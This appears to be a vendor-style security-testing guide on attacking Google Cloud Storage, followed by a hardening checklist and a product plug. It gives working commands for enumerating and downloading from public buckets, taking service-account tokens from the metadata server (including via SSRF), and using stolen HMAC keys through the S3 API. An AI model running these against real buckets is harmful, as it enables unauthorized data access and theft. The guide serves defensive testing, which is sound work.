GCP Cloud Storage Security Testing: Public Bucket Enumeration, Signed URL Exploitation, and IAM Misconfiguration

Google Cloud Storage holds the same high-value data as AWS S3 and Azure Blob — backups, configs, user uploads, and ML training data — and shares many of the same misconfiguration patterns. The critical difference: GCS's allUsers and allAuthenticatedUsers IAM members can expose data to literally anyone on the internet or any Google Account holder. This guide covers systematic GCS security testing: public bucket enumeration, signed URL exploitation, service account key theft, object ACL inheritance bypass, and HMAC key abuse.

Table of Contents

  1. GCS Attack Surface
  2. Public Bucket Enumeration
  3. allUsers and allAuthenticatedUsers Misconfiguration
  4. Signed URL Exploitation
  5. Service Account and Key Theft
  6. HMAC Key Abuse
  7. Object ACL Bypass
  8. GCS Security Hardening

GCS Attack Surface

MisconfigurationIAM MemberImpact
Public read accessallUsers: roles/storage.objectViewerAnyone can list and download all objects
Authenticated user accessallAuthenticatedUsers: viewerAny Google Account holder can read
Public write accessallUsers: roles/storage.objectCreatorAnyone can upload arbitrary objects
Over-privileged service accountSA with storage.admin on all projectsSA key theft = full storage access
Long-lived signed URLsV2/V4 signed URLs in codeURL leaked = unauthorized access
HMAC keys not rotatedService account HMAC keyKey theft = S3-compatible API access
Bucket ACLs vs uniform accessMixed ACL + IAM (non-uniform)Object-level ACL bypass of bucket IAM

Public Bucket Enumeration

# GCS URLs: https://storage.googleapis.com/{bucket}/{object}
# or: https://{bucket}.storage.googleapis.com/{object}

# Test if a bucket is publicly accessible
BUCKET="target-company-backups"
curl -s -o /dev/null -w "%{http_code}" \
  "https://storage.googleapis.com/storage/v1/b/$BUCKET/o"
# 200 = public list access, 403 = private, 404 = doesn't exist

# List objects in a public bucket
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o?maxResults=1000" | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
items = data.get('items', [])
print(f'Total objects: {len(items)}')
for obj in items:
    print(f\"  {obj['name']} ({obj.get('size','?')} bytes)\")
"

# Download a specific object from a public bucket
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/config.json?alt=media" -o config.json

# Bucket name enumeration using common patterns
for name in "$COMPANY" "${COMPANY}-prod" "${COMPANY}-backup" "${COMPANY}-static" \
            "${COMPANY}-assets" "${COMPANY}-uploads" "${COMPANY}-logs" "${COMPANY}-data"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://storage.googleapis.com/storage/v1/b/$name/o")
  echo "$name: HTTP $code"
done

# Use GCPBucketBrute or manual enumeration with gcloud (if authenticated)
gcloud storage ls --project target-project 2>/dev/null

allUsers and allAuthenticatedUsers Misconfiguration

# Check bucket IAM policy for dangerous bindings
gcloud storage buckets get-iam-policy gs://$BUCKET | \
  python3 -c "
import json,sys,yaml
policy = yaml.safe_load(sys.stdin)
for binding in policy.get('bindings', []):
    members = binding.get('members', [])
    role = binding.get('role', '')
    if 'allUsers' in members:
        print(f'[CRITICAL] allUsers: {role}')
    if 'allAuthenticatedUsers' in members:
        print(f'[HIGH] allAuthenticatedUsers: {role}')
"

# Or via JSON API (no gcloud required)
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/iam" | \
  python3 -c "
import json,sys
policy = json.load(sys.stdin)
for binding in policy.get('bindings', []):
    if any(m in ['allUsers','allAuthenticatedUsers'] for m in binding.get('members',[])):
        print(f\"[!] {binding['role']}: {binding['members']}\")
"

# allAuthenticatedUsers test: try accessing with ANY Google account OAuth token
TOKEN=$(gcloud auth print-access-token 2>/dev/null)  # your personal Google account
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f\"Objects found: {len(d.get('items',[]))}\")"

Signed URL Exploitation

# GCS Signed URLs are time-limited pre-signed URLs for object access
# V2 uses RSA-SHA256 or HMAC-SHA1; V4 uses RSA-SHA256 or HMAC-SHA256

# Signed URL structure (V4):
# https://storage.googleapis.com/{bucket}/{object}
#   ?X-Goog-Algorithm=GOOG4-RSA-SHA256
#   &X-Goog-Credential=sa%40project.iam.gserviceaccount.com%2F20260703%2Fauto%2Fstorage%2Fgoog4_request
#   &X-Goog-Date=20260703T000000Z
#   &X-Goog-Expires=3600
#   &X-Goog-SignedHeaders=host
#   &X-Goog-Signature=SIGNATURE

# Parse a signed URL
python3 << 'EOF'
from urllib.parse import urlparse, parse_qs
url = "PASTE_SIGNED_URL_HERE"
params = parse_qs(urlparse(url).query)
print(f"Algorithm: {params.get('X-Goog-Algorithm', ['?'])[0]}")
cred = params.get('X-Goog-Credential', ['?'])[0]
parts = cred.split('/')
print(f"Service Account: {parts[0]}")
print(f"Date: {parts[1] if len(parts)>1 else '?'}")
print(f"Expires: {params.get('X-Goog-Expires', ['?'])[0]}s")
import time
expires = int(params.get('X-Goog-Expires', ['0'])[0])
date_str = parts[1] if len(parts)>1 else '20200101'
import datetime
created = datetime.datetime.strptime(date_str+'T'+params.get('X-Goog-Date',['T000000Z'])[0].split('T')[1], '%Y%m%dT%H%M%SZ')
expiry = created + datetime.timedelta(seconds=expires)
print(f"Valid until: {expiry.isoformat()}")
if expires > 86400:
    print(f"[!] URL valid for {expires//3600}+ hours — overly permissive")
EOF

# Find signed URLs in source code / logs
grep -rE "X-Goog-Signature|storage\.googleapis\.com.*X-Goog" . \
  --include="*.py" --include="*.js" --include="*.go" --include="*.log" | head -10

# V2 signed URL downgrade attack (if V2 is accepted)
# V2 allows simple base64-encoded strings as path for resource
# Test by modifying the path component

Service Account and Key Theft

# Service account keys (JSON) have storage permissions
# Find keys in application configs
find . -name "*.json" -exec grep -l "private_key_id\|service_account" {} \;

# Check if GCE instance metadata exposes service account with storage access
# From GCE instance or via SSRF to metadata server:
TOKEN=$(curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")

# Use token to access GCS
curl -s "https://storage.googleapis.com/storage/v1/b?project=target-project" \
  -H "Authorization: Bearer $TOKEN" | \
  python3 -c "import json,sys; [print(b['name']) for b in json.load(sys.stdin).get('items',[])]"

# Check what scopes the instance metadata token has
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes" \
  -H "Metadata-Flavor: Google"
# https://www.googleapis.com/auth/devstorage.full_control = full GCS access

# Enumerate service account keys via IAM API
gcloud iam service-accounts keys list \
  --iam-account=sa@project.iam.gserviceaccount.com \
  --format="table(name,keyType,validAfterTime,validBeforeTime)"

# Check if key rotation policy is enforced
gcloud projects get-iam-policy target-project \
  --format=json | python3 -c "
import json,sys
policy = json.load(sys.stdin)
print('Conditions on storage roles:')
for b in policy.get('bindings',[]):
    if 'storage' in b.get('role',''):
        condition = b.get('condition',{})
        print(f\"  {b['role']}: {condition.get('expression','no condition')}\")
"

HMAC Key Abuse

GCS supports an S3-compatible API using HMAC keys. HMAC keys tied to service accounts can be used to access GCS using S3 SDKs — they're often overlooked in security audits.

# HMAC keys provide S3-compatible access to GCS
# Find HMAC keys for service accounts
gcloud storage hmac list --project target-project \
  --format="table(metadata.accessId,metadata.state,metadata.serviceAccountEmail,metadata.createTime)"

# Deactivated keys can be reactivated (if you have storage.hmacKeys.update)
gcloud storage hmac update ACCESS_ID --deactivate

# Use a stolen HMAC key with the AWS CLI (S3-compatible)
aws configure --profile gcs-hack
# AWS Access Key ID = HMAC access ID (starts with GOOG)
# AWS Secret Access Key = HMAC secret
# Default region = leave blank

# Access GCS via S3-compatible API
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com ls
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com ls s3://target-bucket
aws s3 --profile gcs-hack --endpoint-url https://storage.googleapis.com cp s3://target-bucket/file.txt .

# Audit HMAC key creation events in Cloud Audit Logs
gcloud logging read 'protoPayload.methodName="storage.hmacKeys.create"' \
  --limit=50 --format=json | \
  python3 -c "import json,sys; [print(e['protoPayload']['authenticationInfo']['principalEmail'], e['timestamp']) for e in json.load(sys.stdin)]"

Object ACL Bypass

# GCS has two access control models:
# 1. Uniform bucket-level access (recommended): IAM only, no object ACLs
# 2. Fine-grained (legacy): mix of bucket IAM + per-object ACLs

# When fine-grained ACLs are enabled, individual objects can have
# different permissions than the bucket policy

# Check if uniform bucket-level access is enabled
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET?fields=iamConfiguration" | \
  python3 -c "
import json,sys
config = json.load(sys.stdin).get('iamConfiguration',{})
uniform = config.get('uniformBucketLevelAccess',{}).get('enabled',False)
print(f'Uniform bucket-level access: {uniform}')
if not uniform:
    print('[!] Fine-grained ACLs enabled — check individual object ACLs')
"

# Check ACL on a specific object (if fine-grained ACLs enabled)
curl -s "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/sensitive-file.txt/acl" | \
  python3 -c "
import json,sys
acls = json.load(sys.stdin)
for entry in acls.get('items',[]):
    entity = entry.get('entity','?')
    role = entry.get('role','?')
    if entity in ['allUsers','allAuthenticatedUsers']:
        print(f'[!] {entity}: {role} on this object')
"

# Test if a bucket has uniform=false and some objects are publicly readable
# while others are private (inconsistent protection)
for obj in file1.txt file2.txt backup.sql credentials.env; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$obj?alt=media")
  echo "$obj: HTTP $code"
done

GCS Security Hardening

# 1. Enable uniform bucket-level access on all buckets
gcloud storage buckets update gs://$BUCKET --uniform-bucket-level-access

# 2. Enforce uniform bucket-level access via org policy
gcloud resource-manager org-policies set-policy \
  --organization=ORG_ID \
  constraints/storage.uniformBucketLevelAccess.yaml
# policy.yaml:
# constraint: constraints/storage.uniformBucketLevelAccess
# listPolicy:
#   allValues: ALLOW

# 3. Prevent public access via org policy
gcloud resource-manager org-policies set-policy \
  --organization=ORG_ID \
  constraints/storage.publicAccessPrevention.yaml
# policy.yaml:
# constraint: constraints/storage.publicAccessPrevention
# booleanPolicy:
#   enforced: true

# 4. Enable soft delete for ransomware protection
gcloud storage buckets update gs://$BUCKET --soft-delete-duration=604800  # 7 days

# 5. Disable HMAC keys if not needed for S3-compatible clients
# Audit and delete unused HMAC keys
for key in $(gcloud storage hmac list --format="value(metadata.accessId)"); do
  gcloud storage hmac delete $key
done

# 6. Enforce CMEK (Customer-Managed Encryption Keys) for sensitive buckets
gcloud storage buckets update gs://$BUCKET --default-encryption-key=KEY_RESOURCE_ID

# 7. Enable Data Access audit logs for storage
gcloud projects get-iam-policy $PROJECT --format=json | \
  python3 -c "
import json
# Add DATA_READ and DATA_WRITE audit log config for storage.googleapis.com
"

# 8. Restrict service account scope to minimum required storage permissions
# Use roles/storage.objectViewer for read-only, not roles/storage.admin
GCS Security Checklist: Audit all buckets for allUsers/allAuthenticatedUsers IAM bindings; enable org policy to prevent public access; enable uniform bucket-level access on all buckets; audit and rotate HMAC keys; restrict GCE instance metadata scopes to minimum required; enable soft delete and object versioning; audit signed URL expiry times in code; enable Data Access audit logs; check service account storage permissions for over-privilege.
Security TestMethodRisk
allUsers IAM bindingget-iam-policy, check for allUsersCritical
Public bucket listingcurl /storage/v1/b/{bucket}/oCritical
Long-lived signed URLs in codegrep for X-Goog-SignatureHigh
GCE metadata SA scopemetadata.google.internal scopesHigh
HMAC key existencegcloud storage hmac listHigh
Fine-grained ACLs enablediamConfiguration.uniformBucketLevelAccessMedium
Service account key rotationiam service-accounts keys listMedium

Automate GCP Storage Security Testing

Ironimo scans GCP Cloud Storage for public bucket exposure, allUsers/allAuthenticatedUsers IAM misconfigurations, HMAC key issues, and service account over-privilege — giving you complete visibility into your GCS security posture.

Start free scan